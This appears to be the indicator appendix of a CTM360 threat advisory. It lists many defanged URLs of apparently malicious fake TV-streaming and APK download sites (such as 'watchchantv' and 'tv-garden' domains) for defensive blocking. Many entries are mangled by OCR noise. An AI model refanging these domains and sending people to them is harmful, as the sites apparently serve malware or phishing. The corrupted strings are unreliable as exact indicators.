hxxps[://lwatchchantv48].]cfd/

hxxps[://Jlwatchchanytbb15[.]cfd/

hxxps[://]watchlumatv02][.]cfd/

hxxps[://lwatchrosetv03[.]cfd/

hxxps[://lwatchchanytbb14[.]cfd/

hxxps[://]watchfreeactv05[.]cfd/

hxxps[://]watchchantva13][.]Jcfd/

hxxpsl[://lwatchchanytbb11[.]cfd/

hxxps[://]watchfreeactv04[.]cfd/

hxxps[://lwatchaachantvlive03][.]cfd/

hxxps[://lwatchchanytbb12[.]cfd/

hxxps[://]watchfreeactv03[.]cfd/

hxxps[://]watchfreetvahu10][.]cfd/

hxxps[://lwatchchanytbb13[.]cfd/

hxxps[://]watchfreeactv02[.]cfd/

hxxps[://]watchfreetvahuQ9].]cfd/

hxxps[://ltvgardenapk[.Jcom/

hxxps[://]watchfreeactv01[.]cfd/

hxxps[://]watchchantva12][.]Jcfd/

hxxps[://]watchchanytbb10[.]cfd/

hxxps[://lwatchchantva24].]cfd/

hxxps[://lwatchchantva11][.]cfd/

hxxps[://lwatchchanytbb08][.]cfd/

hxxps[://lwatchchantva23].]cfd/

hxxpsl[:/[lwatchfreeylchtv03[.]cfd/

hxxps[://]lwatchchanytbb09].]cfd/

hxxps[://lwatchfreeylchtv05[.]cfd/

hxxps[://lwatchfovtvlive09][.]cfd/

hxxps[://lwatchingfreearlive03[.]cfd/

hxxps[://lwatchfreeylchtv04[.]cfd/

hxxps[://lwatchfovtvlive08][.]cfd/

hxxps[://lwatchingfreearlive02[.]cfd/

hxxps[://]watchhzbbtv02][.]cfd/

hxxps[://lwatchfovtvlive10[.]cfd/

hxxpsl[://]ttddni[.]lat/

hxxps[://Jwatchlumatv01][.]cfd/

hxxps[://]watchchantva10][.]cfd/

hxxps[://l[watchedxmfreelive06].]cfd/

hxxps[://lwatchelephanttv01[.]cfd/

hxxps[://lwatchhzbbtv01][.]cfd/

hxxps[://lchannelstv01][.]cfd/

hxxps[://]watchchantv49].]cfd/

hxxps[://lwatchkbssjctv05[.]cfd/

hxxps[://]channelstv02][.]cfd/

hxxps[://lwatchchantva22][.]cfd/

hxxps[://lwatchkbssjctv04[.]cfd/

hxxps[://]arelaxationvijfreelive02[.]cfd/

hxxps[://lwatchchantva21][.]cfd/

hxxps[://lwatchfreetvgx01[.]cfd/

hxxps[://lwatchchantva13][.]cfd//

hxxps[://lwatchchantva20][.]cfd/

hxxps[://lwatchrosetv02[.]cfd/

hxxps[://Jwatchchanytbb39].]cfd/

hxxps[://lwatchggtvlive15[.]cfd

hxxpsl[:/[lwatchfreeylchtv02[.]cfd/

hxxps[://ltvnepalin[.Jcom/

hxxps[://]tvpakistanos[.Jcom/

hxxps[://]ltvmalukin[.Jcom/
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hxxps[://lwatchfreeylchtv01[.]cfd/

hxxps[://lwatchkbssjctv01[.]cfd/

hxxps[://Joozzmk[.]lat/

hxxpsl[://lwatchchanytv[.Jcom/

hxxps[://lwatchaachantvlive01[.]cfd/

hxxpsl[://lwatchchantv05[.]net/

hxxpsl[://lwatchchantva8].]cfd/

hxxps[://lwatchtvchantnew02[.]cfd/

hxxps[://Jricghtveous|.]top/

hxxpsl[://lwatchchantva7[.]cfd/

hxxps[://lwatchtvchantnew03[.]cfd/

hxxps[://uuffvz[.]lol/

hxxpsl[://lwatchchantva6[.]cfd/

hxxps[://lwatchtvchantnew04[.]cfd/

hxxps[://lppyyyi[.]Jmom/

hxxps[://lwatchrosetv01[.]cfd/

hxxps[://lwatchtvchantnew01[.]cfd/

hxxps[://]oottix[.Jmom/

hxxpsl[:/[lwatchfovtvlive07[.]cfd/

hxxps[://lwatchchantv38[.]cfd/

hxxps[://lbceaifoul[.]top/

hxxpsl[:/[lwatchfovtvlive06[.]cfd/

hxxps[://lwatchchantv45[.]cfd/

hxxps[://lyyccuil.]lat/

hxxps[:/[lwatchfovtvlive05[.]cfd/

hxxps[://lwatchchantv43[.]cfd/

hxxpsl[://lccaakt[.]cfd/

hxxpsl[:/[lwatchfovtvlive04[.]cfd/

hxxps[://lwatchchantv42[.]cfd/

hxxps[:/[lwatchchanel95[.]shop/

hxxpsl[://lwatchtvchantnew07[.]cfd/

hxxpsl[://[lwatchfreetvahu08[.]cfd/

hxxps[://lwatchedxmfreelive04[.]cfd/

hxxpsl[://lwatchtvchantnew06[.]cfd/

hxxps[://lwatchchantv27[.]cfd/

hxxps[://]bobojitv02[.]cfd/

hxxpsl[://lwatchtvchantnew05[.]cfd/

hxxps[://lhongwatchtv03[.]cfd/

hxxps[://lwatchedxmfreelive03[.]cfd/

hxxps[:/[lwatchfovtvlive03[.]cfd/

hxxps[://lhongwatchtv02[.]cfd/

hxxps[:/[lwatchchanel99][.]shop/

hxxps[:/[lwatchfovtvlive02[.]cfd/

hxxps[://lhongwatchtv01[.]cfd/

hxxpsl[://leeyyrm[.]lat/

hxxps[:/[lwatchfovtvlive01[.]cfd/

hxxps[://lwatchtvsouth[.Jcom/

hxxpsl[:/Niittxv[.]sbs/

hxxpsl[://lwatchchantv46[.]cfd/

hxxps[://lwatchchantv44[.]cfd/

hxxps[://Innjjrp[.]lat/

hxxpsl[://lwatchchantv47[.]cfd/

hxxpsl[://[lwatchfreetvahu06[.]cfd/

hxxps[://lwatchchanytbb24[.]cfd/

hxxps[://lwatchkbssjctv03][.]cfd/

hxxpsl[://[lwatchfreetvahu07[.]cfd/

hxxps[://]sentsares].]top/

hxxps[://lwatchkbssjctv02[.]cfd/

hxxps[://lwatchchantv26[.]cfd/

hxxpsl[://lwatchchan[.Jcom/
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hxxps[://]ddooay].]lat/

hxxps[://]tv-garden-new19][.]Jonline/

hxxps[://lwatchchanytbb38][.]cfd/

hxxps[://lwatchaachantvlive04].]cfd/

hxxpsl[://ltv-garden-new4[.Jonline/

hxxpsl[://lwatchchanytbb37[.]cfd/

hxxpsl[:/[lbbccmy].]lat/

hxxps[://ltv-garden-8[.Jonline/

hxxpsl[://lwatchchanytbb36[.]cfd/

hxxps[://lJddmmwq[.]sbs/

hxxps[://ltv-garden19[.]Jonline/

hxxpsl[://lwatchchanytbb35[.]cfd/

hxxps[://laauupc|.]lat/

hxxpsl[://ltv-garden-new8[.Jonline/

hxxpsl[://lwatchchanytbb34[.]cfd/

hxxpsl[://lhhbbyk[.]sbs/

hxxpsl[://ltv-garden-newO[.Jonline/

hxxpsl[://lwatchchanytbb33[.]cfd/

hxxps[://lobwwhx[.]lat/

hxxps[://ltv-garden-2[.Jonline/

hxxpsl[://lwatchchanytbb32[.]cfd/

hxxps[://ffiiud[.]sbs/

hxxps[://ltv-garden8][.]Jonline/

hxxps[://lwatchchanytbb31[.]cfd/

hxxps[:/lppcchil.]sbs/ hxxps[://ltv-garden-new17[.Jonline/ hxxpsl[://lwatchchanytbb30[.]cfd/
hxxps[://lwatchchanytbb25[.]cfd/ hxxpsl[://ltv-garden11[.Jonline/ hxxpsl[:/uivwx[.]Jtop/
hxxps[://lwatchchanytbb29[.]cfd/ hxxps[://ltv-garden7[.]Jonline/ hxxps[://Juivwxh[.]top/

hxxps[://lwatchchanytbb28[.]cfd/

hxxps[://ltv-garden-7[.Jonline/

hxxpsl[://ltvgarden[.]net/

hxxpsl[://lwatchchanytbb27[.]cfd/

hxxps[://ltv-garden6[.Jcom/

hxxps[://lwatchchantva1[.]cfd/

hxxps[://lwatchchanytbb26[.]cfd/

hxxps[://ltv-garden-new15[.]Jonline/

hxxps[://lwatchchantv20[.]cfd/

hxxps[://lwatchchanytbb23[.]cfd/

hxxps[://ltv-garden-news2[.]Japp/

hxxps[://lwatchchantv[.]cfd/

hxxpsl[://lwatchchanytbb22[.]cfd/

hxxps[://ltv-garden2[.Jcom/

hxxps[://lwatchchantv19[.]cfd/

hxxps[://lwatchchanytbb21[.]cfd/

hxxps[://ltv-garden18[.]online/

hxxps[://lhuziwatchingtv[.]cfd/

hxxps[://lwatchchanytbb20[.]cfd/

hxxpsl[://ltv-garden-new9[.Jonline/

hxxps[:/[lwatch1tvhuzi[.]cfd/

hxxps[://lwatchchanytbb19[.]cfd/

hxxps[://ltv-garden9][.]Jonline/

hxxps[://lwatchhutvlive02[.]cfd/

hxxps[://lwatchchanytbb18[.]cfd/

hxxps[://ltv-garden2[.]Jonline/

hxxpsl[://lwatchhutvlive01[.]cfd/
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hxxps[://lwatchchantv17[.]cfd/

hxxps[://lwatchchantv14[.]cfd/

hxxps[://ljazlanhost[.]Jonline/

hxxps[://]watchchantv16][.]cfd/

hxxps[://lwatchchantv[.Jcom/

hxxps[://lwatchgxd04].]cfd/

hxxps[://]watchchantv39][.]cfd/

hxxps[://lwatchchantv11[.]cfd/

hxxps[://lnzgongfreetv03[.]cfd/

hxxps[://]watchchantv37[.]cfd/

hxxps[://]watchchantv35][.]cfd/

hxxps[://]lwatchchanel91][.]Jshop/

hxxps[://]watchchantv13][.]cfd/

hxxps[://]watchchantv08][.]cfd/

hxxps[://][wwaatn[.]Jcfd/

hxxps[://]watchchantv10[.]Jcfd/

hxxps[://lwatchfreetvahu05[.]cfd/

hxxps[://lwatchgxd08][.]cfd/

hxxps[://]watchchantv12[.]cfd/

hxxps[://]watchchantv24][.]cfd/

hxxps[://ltvshowdownload02[.]cfd/

hxxps[://]watchchantv34][.]cfd/

hxxps[://lwatchfreetvahu03][.]Jcfd/

hxxps[://]docs].]applicationdownload].]cf
d/

hxxps[://]watchchantv36][.]cfd/

hxxps[://lwatchfreetvahu04][.]cfd/

hxxps[://]goldd-tv[.Jonline/

hxxps[://]watchchantv09].]cfd/

hxxps[://Jwatchchantv32][.]cfd/

hxxps[://lffwhireuc[.]Jdglwdqsdwqg-dqwdq
oldwqg-sd1qdsdiwqg-qwdlqqldwgdwg-qw
dgw[.Jcam/

hxxps[://][watchchanggtv41[.]cfd/

hxxps[://]watchchantv33][.]cfd/

hxxps[://]dglwdgsdwqg-dgwdqoldwqg-sd1
gdsdiwg-qwdlqqgldwgdwqg-qwdqw][.Jcam/

hxxps[://][watchchanggtv42][.]cfd/

hxxps[://]watchchantv21[.]cfd/

hxxps[://lwatchchanel67[.Jcom/

hxxps[://lwatchchantv25[.]cfd/

hxxps[://]watchchantv22[.]cfd/

hxxps[://ltv-garden-s[.Jonline/

hxxps[://lwatchchantv31][.]cfd/

hxxps[://]watchchantv23][.]cfd/

hxxps[://]tv-garden8[.Jcom/

hxxps[://lwatchchantv05[.]cfd/

hxxps[://lwatchgxdtv02[.]cfd/

hxxps[://ltv-garden-new12[.Jonline/

hxxps[://lwatchchantv03[.]cfd/

hxxps[://lwatchgxdtvO1[.]cfd/

hxxps[://ltv-garden-10[.]Jonline/

hxxps[://lwatchchantv02[.]cfd/

hxxps[://]watchchantv07[.]cfd/

hxxps[://]tv-garden16][.Jonline/

hxxps[://lwatchchantv01[.]cfd/

hxxps[://]watchchantv06][.]cfd/

hxxps[://]tv-garden9[.Jcom/

hxxps[://lwatchchantv15[.]cfd/

hxxps[://]watchchantv04][.]cfd/

hxxps[://ltv-garden10[.Jcom/

hxxps[://lwatchchantv41][.]cfd/

hxxps[://1hn80[.]vip/

hxxps[://ltv-garden-new22[.Jonline/
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hxxps[://ltv-garden-news7[.Jonline/

hxxps[://]tv-garden10[.]Jonline/

hxxps[://]tv-garden42[.]Jcom/

hxxps[://ltv-garden-new11[.Jonline/

hxxps[://ltv-garden-6[.Jonline/

hxxps[://ltv-garden41[.Jcom/

hxxps[://ltv-garden-5[.Jonline/

hxxpsl[://ltv-garden-new3[.Jonline/

hxxps[://lgarden-tv[.Japp/

hxxpsl[://ltv-garden15[.]Jonline/

hxxps[://ltv-garden20[.]Jonline/

hxxpsl[://ltv-garden-new][.]Japp/

hxxps[://ltv-garden-3[.Jonline/

hxxps[://ltv-garden-news8|.Jonline/

hxxps[://ltv-garden[.Jonline/

hxxps[://ltv-garden-9[.Jonline/

hxxps[://ltv-garden-4[.Jonline/

hxxps[://ltv-garden43[.Jcom/

hxxps[://ltv-garden-11[.Jonline/

hxxpsl[://ltv-garden-new5[.Jonline/

hxxps[://ltv-garden-news4[.]Japp/

hxxps[://ltv-garden5[.]Jonline/

hxxps[://ltv-garden-news3][.]Japp/

hxxps[://ltv-garden-news][.]app/

hxxps[://ltv-garden1[.Jcom/

hxxps[://ltv-garden-new21[.]Jonline/

hxxps[://ltvgarden[.]vip/

hxxps[://ltv-garden-news10[.Jonline/

hxxps[://ltv-garden17[.]Jonline/

hxxps[://lwatchchantva32[.]cfd

hxxpsl[://ltv-garden12[.]Jonline/

hxxps[://ltv-garden[.]Japp/

hxxps[://lwatchchantva35[.]cfd

hxxps[://ltv-garden-new7[.Jonline/

hxxps[://ltv-garden1[.]Jonline/

hxxps[://lwatchfreebbtv17[.]cfd

hxxps[://ltv-garden-new10[.Jonline/

hxxps[://ltv-garden-news6[.Jonline/

hxxps[://lwatchfreebbtv01[.]cfd

hxxps[://ltv-garden3|[.]Jonline/

hxxps[://ltv-garden-news4[.Jonline/

hxxps[://lwatchchantva28[.]cfd

hxxpsl[://ltv-garden13][.]Jonline/

hxxpsl[://ltv-garden-new?2[.Jonline/
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ABOUT US

CTM360 provides a consolidated platform that includes external attack surface
management, digital risk protection (brand protection & anti-phishing, data leakage
protection, and unlimited managed takedowns), security ratings, third party risk
management, email intelligence (dmarc) and cyber threat intelligence.

CONTACT US:

c

+973 77 360 360

info@ctm360.com

www.ctm360.com

21st Floor, East Tower Bahrain Financial Harbour, Kingdom of Bahrain

O & K

Disclaimer

The information contained in this document is meant to provide general guidance and brief information to the intended recipient
pertaining to the incident and recommended action. Therefore, this information is provided "as is" without warranties of any kind,
express or implied, including accuracy, timeliness, and completeness. Consequently, under NO condition shall CTM3609, its
related partners, directors, principals, agents, or employees be liable for any direct, indirect, accidental, special, exemplary,
punitive, consequential, or other damages or claims whatsoever including, but not limited to loss of data, loss in profits/business,
network disruption...etc., arising out of or in connection with this advisory.

©) cTM360°




